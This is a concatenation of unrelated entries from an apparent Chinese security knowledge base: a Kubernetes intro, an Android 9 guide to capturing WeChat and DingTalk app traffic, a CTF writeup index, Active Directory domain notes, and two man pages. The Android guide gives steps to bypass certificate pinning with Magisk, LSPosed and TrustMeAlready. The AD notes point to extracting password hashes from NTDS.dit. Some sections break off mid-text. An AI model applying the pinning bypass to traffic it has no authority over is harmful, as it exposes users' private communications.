--- title: K8s 介绍 --- <center><h1>K8s 介绍</h1></center> --- Kubernetes 又称 k8s,是 Google 在 2014 年开源的一个用来管理容器的平台,以下是 k8s 架构图。 <img width="1000" src="/img/1649993172.png"> k8s 主要由以下核心组件组成: - etcd 保存了整个集群的状态 - API Server 提供了资源操作的唯一入口,并提供认证、授权、访问控制、API 注册和发现等机制 - Controller Manager 负责维护集群的状态,比如故障检测、自动扩展、滚动更新等 - Scheduler 负责资源的调度,按照预定的调度策略将 Pod 调度到相应的机器上 - Kubelet 负责维护容器的生命周期,同时也负责Volume(CVI)和网络(CNI)的管理 - Container Runtime 负责镜像管理以及 Pod 和容器的真正运行(CRI) - Kube-proxy 负责为 Service 提供 Cluster 内部的服务发现和负载均衡 <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
# 安卓9版本抓包 ## 安装Magisk > 资源下载地址: > > https://pan.baidu.com/s/1ND1-16KU9HpQtZju7gK5Mw 密码:ovl0 > https://yunpan.360.cn/surl_yEe2hUuTvSJ 密码:7e88 > > https://cloud.189.cn/t/MnIF7rQbIVbe 密码:6c6a ### 准备 夜神模拟器选择Android 9版本进行打开。 ![image-20230302175334971](../../.gitbook/assets/image-20230302175334971.png) 启动root ![image-20230302175428853](../../.gitbook/assets/image-20230302175428853.png) ### 安装 在**安卓9模拟器_magisk**目录找到`Magisk_v25.2.apk`和`Magisk Terminal Emulator_17.7.apk`,直接将这两个APK拖进模拟器里面。 ![image-20230302175618725](../../.gitbook/assets/image-20230302175618725.png) 打开**Magisk Terminal Emulator** ![image-20230302175650263](../../.gitbook/assets/image-20230302175650263.png) 键入<**m**><回车>、<**Y**><回车>,提示超级用户授权点击允许 ![image-20230302175727861](../../.gitbook/assets/image-20230302175727861.png) 键入<**1**><回车>、<**a**><回车>、<**1**><回车>,出现 Done代表安装完成。 ![image-20230302175806520](../../.gitbook/assets/image-20230302175806520.png) 取消root,并且重启模拟器。 ![image-20230302175901116](../../.gitbook/assets/image-20230302175901116.png) 访问**magisk** APP。 ![image-20230302175945675](../../.gitbook/assets/image-20230302175945675.png) 点击右上角设置,启动zygisk选项,然后重启模拟器(模拟器右上角按X重启) ![image-20230302180018510](../../.gitbook/assets/image-20230302180018510.png) 重新访问APP就可以看到zygisk启动了。 ![image-20230302180137268](../../.gitbook/assets/image-20230302180137268.png) 将`LSPosed-v1.8.5-6649-zygisk-release.zip`模块复制到模拟器的目录 ![image-20230303103845687](../../.gitbook/assets/image-20230303103845687.png) 安装lsposed模块 ![image-20230303103916962](../../.gitbook/assets/image-20230303103916962.png) ![image-20230303103936078](../../.gitbook/assets/image-20230303103936078.png) 但是重启之后,在桌面没有看到有lsposed APP,需要拖进模拟器安装`LSPosed manager1.8.5.apk` ![image-20230303104204502](../../.gitbook/assets/image-20230303104204502.png) 安装`TrustMeAlready` ``` PS D:\Program Files\Nox\bin> ./adb install D:\TrustMeAlready-v1.11-release.apk Success ``` 在lsposed勾选**TrustMeAlready模块**,其中justtrustme模块不生效 ![image-20230302174433875](../../.gitbook/assets/image-20230302174433875.png) 勾选微信,然后重启模拟器 ![image-20230302174449107](../../.gitbook/assets/image-20230302174449107.png) 导入证书这些跟安卓7一样步骤。 **最后就可以对微信小程序和钉钉的轻应用进行抓包。** > 参考链接: > > https://www.magisk8.com/ldmagisk.html > > https://www.bilibili.com/video/BV1Ud4y1T7U4/?vd_source=3b0b2659a1086173ac43bf4d9774bb97
sec-knowleage
# Writeup Nuit du Hack CTF 2016 Quals Team: akrasuski1, c7f.m0d3, cr019283, mnmd21891, msm, nazywam, shalom ### Table of contents * [Catch me if you can (Forensics)](catch_me_if_you_can) * [Invest (Forensics)](invest) * [Matryoshka (Crackme)](matryoshka) * Secure File Reader (Exploit Me) * Toil33t (Crypto) * Trolololo (Forensics)
sec-knowleage
# 域 <p align="center"> <img src="../../../../assets/img/banner/域.png" width="90%"> </p> > 注 : 笔记中拓扑图 xmind 源文件在其图片目录下 --- ## 大纲 * **[域的原理](#域的原理)** * **[域结构](#域结构)** * [单域](#单域) * [域树](#域树) * [域林](#域林) * [GC 全局编录](#gc) * [FSMO](#fsmo) * [域信任关系](#域信任关系) * **[DC 域控](#dc)** * [PDC 主域控制器](#pdc) * [BDC 辅域控制器](#ndc) * [RODC 只读域控制器](#rodc) * **[AD 活动目录](#ad)** * **[DNS 域名服务器](#dns域名服务器)** --- ## 前言 **什么是域** 域用来描述一种架构,和“工作组”相对应,是由工作组升级而来的高级架构,域 (Domain)是一个有安全边界的计算机集合 (安全边界,意思是在两个域中,一个域中的用户无法访问另一个域中的资源)。可以简单的把域理解成升级版的“工作组”,相比工作组而言,它有一个更加严格的安全管理控制机制,如果你想访问域内的资源,就必须拥有一个合法的身份登录到该域中,而你对该域内的资源拥有什么样的权限,还需要取决于你在该域中的用户身份。 **域的功能和特点** - 集中管理,可以集中地管理企业中成千上万分布于异地的计算机和用户 - 便捷的资源访问,能够很容易地定位到域中的资源。用户依次登录就可以访问整个网络资源,集中地身份验证 - 可扩展性,既可以适用于几十台计算机的小规模网络,也可以用于跨国公司 **工作组和域的区别** 工作组是对等网络,域是 B/S 架构,集中式管理 --- ## 域的原理 其实可以把域和工作组联系起来理解,在工作组上你一切的设置比如在本机上进行各种策略,用户登录都是登录在本机的,密码是放在本机的数据库来验证的。而如果你的计算机加入域的话,各种策略是域控制器统一设定,用户名和密码也是放到域控制器去验证,也就是说你的账号密码(域用户)可以在同一个域的任何一台计算机登录。 如果说工作组是“免费的旅店”,那么域 (Domain)就是“星级的宾馆”;工作组可以随便出出进进,而域则需要严格控制。“域”的真正含义指的是服务器控制网络上的计算机能否加入计算机组合。一提到组合,势必需要严格的控制。所以实行严格的管理对网络安全是非常必要的。在对等网模式下,任何一台电脑只要接入网络,其他机器就都可以访问共享资源,如共享文件夹等。尽管对等网络上的共享文件可以加访问密码,但是非常容易被破解。 不过在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器 (Domain Controller,简写为 DC)。 域控制器中包含了这个域内的账户、密码、域内的计算机等信息构成的数据库(AD)。当电脑联入网络时,域控制器首先要鉴别这台电脑是否属于这个域,使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。 要把一台电脑加入域,仅仅使它和服务器在网上邻居中能够相互“看”到是远远不够的,必须要由网络管理员进行相应的设置,把这台电脑加入到域中。这样才能实现文件的共享,集中统一,便于管理 在域控上,即使以域管理员的身份登录,也不能查看域成员的密码,可以给域成员重置密码,但是不能查看到域成员的密码。 --- ## 域结构 ### 单域 在一般的具有固定地理位置的小公司里,建立一个域就可以满足所需。 --- ### 域树 域树指若干个域通过建立信任关系组成的集合。一个域管理员只能管理本域的内部,不能访问或者管理其他的域,二个域之间相互访问则需要建立 信任关系 (Trust Relation)。信任关系是连接在域与域之间的桥梁。父域与子域之间自动建立起了双向信任关系,域树内的父域与子域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理,以及相互通信和数据传输。 同一个域树中,父域和子域会自动创建双向信任关系,并且信任关系可传递。所以也就是如下:`abc.com` 自动与 `asia.abc.com` 和 `europe.abc.com` 建立起了双向信任关系,`asia.abc.com` 和 `cn.asia.abc.com` 以及 `europe.abc.com` 与 `fr.europe.abc.com` 自动建立起了双向信任关系。由于信任关系可以传递,所以 `cn.asia.abc.com` 和 `abc.com` 以及 `fr.europe.abc.com` 和 `abc.com` 都自动建立起了双向信任关系。但是 `asia.abc.com` 和 `europe.abc.com` 之间并没有建立起信任关系。所以也就是 `asia.abc.com` 和 `europe.abc.com` 之间不能进行数据共享等操作。他们之间要想进行数据共享等操作,需要手动为他们之间建立信任关系。 **建立域树的好处** - 如果把不同地理位置的分公司放在同一个域内,那么他们之间信息交互 (包括同步,复制等)所花费的时间会比较长,而且占用的带宽也比较大。因为在同一个域内,信息交互的条目是很多的,而且不压缩;而在域和域之间,信息交互的条目相对较少,而且压缩。 - 子公司可以通过自己的域来管理自己的资源。 - 出于安全策略的考虑,因为每个域都有自己独有的安全策略。比如一个公司的财务部门希望能使用特定的安全策略 (包括帐号密码策略等),那么可以将财务部门做成一个子域来单独管理 **父域与子域** 在一个域树中,父域可以包含很多子域,子域是相对父域来说的,指域名中的每一个段。子域只能使用父域作为域名的后缀,也就是说在一个域树中,域的名字是连续的。 第一个域称为父域也可以叫根域,各分部的域称为该域的子域。 父域与子域之间默认建立起了双向信任关系。 --- ### 域林 域林指若干个域树通过建立信任关系组成的集合。 由一个或多个没有形成连续名称空间的域树组成,林中每个域树都有唯一的名称空间,之间不连续。 可以通过域树之间建立的信任关系来管理和使用整个域林中的资源,从而又保持了原有域自身原有的特性。同一个林中,林根域与其他树根域自动建立双向信任关系. 信任关系可传递. #### GC 全局编录包含了各个活动目录中每一个对象的最重要的属性,是域林中所有对象的集合。 在域林中,同一域林中的域控制器共享同一个活动目录,这个活动目录是分散存放在各个域的域控制器中的,每个域中的域控制器保存着该域的对象的信息 (用户账号及目录数据库等)。如果一个域中的用户要访问另一个域中的资源,则要先找到另一个域中的资源。为了让用户快速的查找到另一个域内的对象,微软设计了全局编录。全局编录包含了各个活动目录中每一个对象的最重要的属性 (即部分属性),这样,即使用户或应用程序不知道对象位于哪个域,也可以迅速找到被访问的对象。 #### FSMO 营运主机 (Operation Masters,又称为 Flexible Single Master Operation,即 FSMO)是被设置为担任提供特定角色信息的网域控制站,在每一个活动目录网域中,至少会存在三种营运主机的角色。但对于大型的网络,整个域森林中,存在5种重要的 FSMO 角色.而且这些角色都是唯一的。 - naming master (域命名主机角色) : 域命名主机角色是林范围的角色,每个林一个。此角色用于向林中添加或从林中删除域或应用程序分区。 - infrastructure master (结构主机角色) : 结构主机角色是域范围的角色,每个域一个。此角色供域控制器使用,用于成功运行 adprep /forestprep 命令,以及更新跨域引用的对象的 SID 属性和可分辨名称属性。 - PDC (PDC 模拟器角色) : PDC 模拟器角色是域范围的角色,每个域一个。将数据库更新发送到 Windows NT 备份域控制器的域控制器需要具备这个角色。此外,拥有此角色的域控制器也是某些管理工具的目标,它还可以更新用户帐户密码和计算机帐户密码。 - RID master (RID 主机角色) : RID 主机角色是域范围的角色,每个域一个。此角色用于分配 RID 池,以便新的或现有的域控制器能够创建用户帐户、计算机帐户或安全组。 - schema master (架构主机角色) : 架构主机角色是林范围的角色,每个林一个。此角色用于扩展 Active Directory 林的架构或运行 adprep /domainprep 命令。 --- ### 域信任关系 域信任分为单向信任和双向信任。 - 单向信任 : 只能是受信任域访问信任域,而信任域不能访问受信任域。 - 双向信任 : 两个域可以互相访问。 域之间的信任关系,相当于是不同域之间沟通的桥梁。 - 父子信任:父域与子域之间自动建立起了双向信任关系,并且信任关系可以传递。 - 树信任:同一个林中,林根域与其他树根域自动建立双向信任关系。信任关系可传递。 - 快捷方式信任:为了加速认证流程而产生的信任关系。需要管理员手工建立,信任关系可向下传递。 - 林信任:在不更改 AD 结构的情况下,让不同林之间可以相互访问资源。信任关系可向下传递。 - 外部信任/ 跨林快捷方式信任:类似于同林内的快捷方式信任. 单向, 信任关系不可传递: - 领域信任:为了让 AD 跟非 windows 系统的 kerberos 建立关系而存在的信任。 --- ## DC 在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想互相访问首先都得经过它的审核。 域控是域架构的核心,每个域控制器上都包含了 AD 活动目录数据库。 一个域中可能应该要有至少两个域控。一个作为 DC,一个是备份 DC。如果没有第二个备份 DC,那么一旦 DC 瘫痪了,则域内的其他用户就不能登录该域了,因为活动目录的数据库 (包括用户的帐号信息)存储在 DC 中的。而有一台备份域控制器 (BDC),则至少该域还能正常使用,期间把瘫痪的 DC 恢复了就行了。当域中的一台计算机安装了 AD 后,它就成了域控 DC 了。 ### PDC 主域控制器是负责验证域登录和维护域目录数据库的计算机。 ### BDC 辅域控制器也叫额外域控制器,是指除第一台域控制器之外的其他域控制器。 一个域只能有一个 PDC,可以有0~若干个 BDC ### RODC RODC 是 Windows Server 2008 操作系统中的一种新类型的域控制器。借助 RODC,组织可以在无法保证物理安全性的位置中轻松部署域控制器。RODC 承载 Active Directory 域服务 (AD DS) 数据库的只读分区。 **特性** - 只读 AD DS 数据库 RODC 上保存了可写域控制器上除帐号密码外的所有对象和属性的只读副本,所有对 AD DS 数据库的更改都只能在可写域控制器上进行,然后再复制给 RODC; 需要对目录进行读取的应用程序可以获取访问权限。请求写入访问的轻型目录应用程序协议(LDAP)应用程序将接收 LDAP 引用响应,该响应将其定向到可写域控制器。 - 单向复制 因为任何 AD 数据库的更改都不会写入 RODC,所以可写域控制器就不需要从 RODC 上复制任何信息。RODC 只执行正常的入站复制。 - 凭据缓存 默认情况下,RODC 上除了 RODC 的计算机帐户和特殊账户 krbtgt 之外,不存储用户或计算机凭据。但可以设置密码复制策略将部分用户凭据和计算机凭据从可写域控制器复制到 RODC 并在 RODC 上缓存起来,从而直接服务登录请求。 - 管理员角色分隔 可以将 RODC 的本地管理权限委派给其他域用户,以分担域管理员的工作。 只读 DNS 可以在 RODC 上安装 DNS,响应名称解析的请求,但该 DNS 也是只读的 --- ## AD Active Directory,活动目录简称 AD,是一个基于 DNS 并以树状的数据结构来组成网络服务存储了有关网络对象的信息,并以此作为基础对目录信息进行合乎逻辑的分层组织,让管理员和用户能够轻松地查找和使用这些信息。通常域都只有一个,在中型或大型的网络中,网域可能会有很多个,或是和其他公司或组织的 AD 相互链接。AD 基于 LDAP。安装了 AD 的服务器称为 DC 域控制器。 如果将企业的内网看成是一本字典,那么内网里的资源就是字典的内容, 活动目录就相当于字典的索引。即活动目录存储的是网络中所有资源的快捷方式,用户通过寻找快捷方式而定位资源。 在活动目录中记录的信息,被分为两大部分,一部分保存在活动目录数据库文件 `NTDS.dit` 中,另一部分保存在被复制的文件系统上。 **逻辑结构** 在活动目录中,管理员可以完全忽略被管理对象的具体地理位置,而将这些对象按照一定的方式放置在不同的容器中。由于这种组织对象的做法不考虑被管理对象的具体地理位置,这种组织框架称为 “逻辑结构”。 活动目录的逻辑结构就包括上面讲到的 组织单元 (OU)、域 (domain)、域树 (tree)、域森林 (forest) 。在域树内的所有域共享一个活动目录,这个活动目录内的数据分散地存储在各个域内,且每一个域只存储该域内的数据。 **活动目录的主要功能** 活动目录为 Microsoft 统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。 - 帐号集中管理 :所有帐号均存在服务器上,方便对帐号的重命名/重置密码。 - 软件集中管理 :统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。 - 环境集中管理 :利用 AD 可以统一客户端桌面,IE,TCP/IP 等设置。 **优点** - 增强安全性 :统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统一管理。 - 更可靠:更少的宕机时间。如:利用 AD 控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠,宕机时间更少。 **存储方式** - ntds.dit ntds.dit 是 AD 中的数据库文件,它被保存在域控制器 `C:\Windows\NTDS\NTDS.dit` 位置。活动目录的数据库文件(ntds.dit)包含有关活动目录域中所有对象的所有信息,其中包含所有域用户和计算机帐户的密码哈希值。该文件在所有域控制器之间自动同步,它只能被域管理员访问和修改。 该文件记录的信息有以下三张表: - Schema 表 :这个表中包含了所有可在活动目录创建的对象信息以及他们之间的相互关系。包括各种类型对象的可选及不可选的各种属性。这个表是活动目录数据库中最小的一个表,但是也是最基础的一个表。 - Link 表 :Link 表包含所有属性的关联,包括活动目录中所有对象的属性的值。一个用户对象的所有属性的类型,包括每个属性的值及用户所属于的组等信息都属于这个表。这个表要大于 Schema 表,但与 Data 表相比要小。 - Data 表:活动目录中用户,组,应用程序特殊数据和其他的数据全部保存在 Data 表中。这是活动目录中存储信息最多的一个表,大量的活动目录的资料实际上还是存储在这个表中。 - LDAP ldap 是基于 tcp/ip 的轻量级目录访问协议,这种数据库文件后缀都为 `.ldif`,并使用特殊的节点查询语句来获取相应数据。和常规关系型数据库不同的是,ldap 并非按照常规的库、表、字段方式来存储数据,而是按照一种特殊的倒树状结构层级来组织管理数据,此处的树指的就是目录信息树,即 DIT。(目录信息树相当于专门用来进行读操作的数据库。) 在目录信息树里创建一个条目(entry)时,条目的信息存储在属性(attribute)里,属性又被组合成对象类(objectClass),对象类进一步组成了架构(schema) 在DIT内部则由N个条目entry所组成,就相当于常规数据库表中每条具体的记录,而条目的内容则是由具有唯一标识名 DN 的属性[Attribute]及属性对应的值[value]所组成的一个集合。 条目为 ldap 中最基础的操作单位,通常对ldap的增、删、改、查都是以条目为基本单元进行的。 本地打开 LDAP 编辑器。运行->打开 `adsiedit.msc`(只有域控居于整个域内的配置信息) **Ntdsutil.exe** `ntdsutil.exe` 是域控制器自带的域数据库管理工具,从 windows Server 2008 开始就默认自带了。因此我们可以通过 `ntdsutil.exe` 提取出域中所有的域用户信息。以下命令必须在域控上执行: --- ## DNS域名服务器 域控服务器要求 DNS 服务器按名称查找计算机、成员服务器和网络服务。 - 域名解析:DNS 服务器通过其A记录将域名解析成IP地址 - 定位活动目录服务:客户机通过 DNS 服务器上的 SRV 服务记录定位提供某一个服务的计算机 一般情况下,DNS 服务器和域控制器会处在同一台机器上。 **SRV 服务记录** SRV 服务记录是 DNS 服务器的数据库中支持的一种资源记录的类型,它记录了哪台计算机提供了哪个服务这么一个简单的信息。 一般是为活动目录 AD 设置的应用。DNS 可以独立于活动目录,但是活动目录必须有 DNS 的帮助才能工作。为了活动目录能够正常的工作,DNS 服务器必须支持服务定位 (SRV)资源记录,资源记录把服务名字映射为提供服务的服务器名字。域主机和域控制器使用 SRV 资源记录决定域控制器的 IP 地址和提供服务的服务器IP地址。 --- ## 域组 **组的类型** - 安全组:安全组有安全标识(SID),能够给其授权访问本地资源或网络资源。即能授权访问资源,也可以利用其群发电子邮件 - 通讯组:通迅组没有安全标识(SID),不能授权其访问资源,只能用来群发电子邮件 **组的作用域** - 本地域组:代表的是对某个资源的访问权限。只能授权其访问本域资源,其他域中的资源不能授权其访问。 - 全局组:创建全局组是为了合并工作职责相似的用户的账户,只能将本域的用户和组添加到全局组。在多域环境中不能合并其他域中的用户。 - 通用组:和全局组的作用一样,目的是根据用户的职责合并用户。与全局组不同的是,在多域环境中它能够合并其他域中的域用户帐户,比如可以把两个域中的经理帐户添加到一个通用组。 **组织单位 OU 的管理** OU 是 AD 中的容器,可在其中存放用户、组、计算机和其他 OU,而且可以设置组策略 Active Directory 域内的资源是以对象(Object)的形式存在,例如用户、计算机都是对象,而对象是通过属性(Attribute)来描述其特征的,也就是对象本身是一些属性的集合 **容器与组织单位** 容器(Container)与对象相似,它有自己的名称,也是一些属性的集合,不过容器内可以包含其他对象(例如用户、计算机等对象),还可以包含其他容器。 组织单位(Organization Units,OU)是一个比较特殊的容器,其中除了可以包含其他对象与组织单位之外,还有组策略(Group Policy)的功能。 **默认容器和组织单位** - Builtin 容器:Builtin 容器是 Active Driectory 默认创建的第一个容器,主要用于保存域中本地安全组。 - Computers 容器:Computers 容器是 Active Driectory 默认创建的第 2 个容器,用于存放 Windows Server 2008 域内所有成员计算机的计算机账号。 - Domain Controllers 组织单位:Domain Controllers 是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。 - Users 容器:Users 容器主要用于保存安装 Active Driectory 时系统自动创建的用户和登录到当前域控制器的所有用户账户。 --- **Source & Reference** - [内网渗透 | 工作组和域的区别](https://mp.weixin.qq.com/s/5wgCGHrE5MNsKvN9rChBsw) - [域控理论知识](https://www.cnblogs.com/zoulongbin/p/6027362.html) - [内网渗透 | Windows域的管理](https://mp.weixin.qq.com/s/YJR951cqqlRiCaczhngfvw)
sec-knowleage
'\" t .TH "BINFMT\&.D" "5" "" "systemd 231" "binfmt.d" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" binfmt.d \- 在系统启动时为可执行文件配置 额外的二进制格式 .SH "SYNOPSIS" .PP /etc/binfmt\&.d/*\&.conf .PP /run/binfmt\&.d/*\&.conf .PP /usr/lib/binfmt\&.d/*\&.conf .SH "描述" .PP 在系统启动时, \fBsystemd-binfmt.service\fR(8) 会从上述目录中读取配置文件,并根据配置文件的指引, 在内核中为可执行文件注册额外的二进制格式。 .SH "配置文件格式" .PP 每个配置文件都包含一个 binfmt_misc 内核二进制格式规范的列表。 参见 \m[blue]\fBbinfmt_misc\&.txt\fR\m[]\&\s-2\u[1]\d\s+2 与 \m[blue]\fB《如何在Linux下指定特定类型的文件用特定的程序打开》\fR\m[]\&\s-2\u[2]\d\s+2 以了解如何注册额外的二进制格式, 以及如何编写规则。 .PP 空白行和以 # 或 ; 开头的行将被忽略。 这意味着不能在二进制格式规则中 将 # 与 ; 用作分隔符。 .SH "配置目录及其优先级" .PP 配置文件依次从 /etc/, /run/, /usr/lib/ 目录中读取。 配置文件的名称必须符合 \fIfilename\fR\&.conf 格式。 对于不同目录下的同名配置文件,仅以优先级最高的目录中的那一个为准。 具体说来就是: /etc/ 的优先级最高、 /run/ 的优先级居中、 /usr/lib/ 的优先级最低。 .PP 软件包应该将自带的配置文件安装在 /usr/lib/ 目录中。 /etc/ 目录仅供系统管理员使用。 所有的配置文件(无论位于哪个目录中),统一按照文件名的字典顺序处理。 如果在多个配置文件中设置了同一个选项, 那么仅以文件名最靠后(字典顺序)的那一个为准。 为了便于排序,建议给所有配置文件 都加上两位十进制数字的文件名前缀。 .PP 如果系统管理员想要屏蔽 /usr/lib/ 目录中的某个配置文件, 那么最佳做法是在 /etc/ 目录中 创建一个指向 /dev/null 的同名符号链接, 即可彻底屏蔽 /usr/lib/ 目录中的同名文件。 如果软件包自带的某个配置文件位于 initrd 镜像中, 那么还必须重新生成 initrd 镜像。 .SH "例子" .PP \fBExample\ \&1.\ \&/etc/binfmt\&.d/wine\&.conf 文件:\fR .sp .if n \{\ .RS 4 .\} .nf # 在执行 Windows 程序时启动 WINE :DOSWin:M::MZ::/usr/bin/wine: .fi .if n \{\ .RE .\} .PP [译者注]关于Java的实例可以查看OpenSuSE的 \m[blue]\fBjava\-binfmt\-misc\fR\m[]\&\s-2\u[3]\d\s+2 软件包。 .SH "参见" .PP \fBsystemd\fR(1), \fBsystemd-binfmt.service\fR(8), \fBsystemd-delta\fR(1), \fBwine\fR(8) .SH "NOTES" .IP " 1." 4 binfmt_misc.txt .RS 4 \%https://www.kernel.org/doc/Documentation/binfmt_misc.txt .RE .IP " 2." 4 《如何在Linux下指定特定类型的文件用特定的程序打开》 .RS 4 \%http://blog.csdn.net/roland_sun/article/details/50062295 .RE .IP " 3." 4 java-binfmt-misc .RS 4 \%http://rpm.pbone.net/index.php3?stat=3&search=java-binfmt-misc&srodzaj=3 .RE .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: puts.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: puts.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH puts 3tcl 7.5 Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME puts \- 向一个通道写 .SH "总览 SYNOPSIS" \fBputs 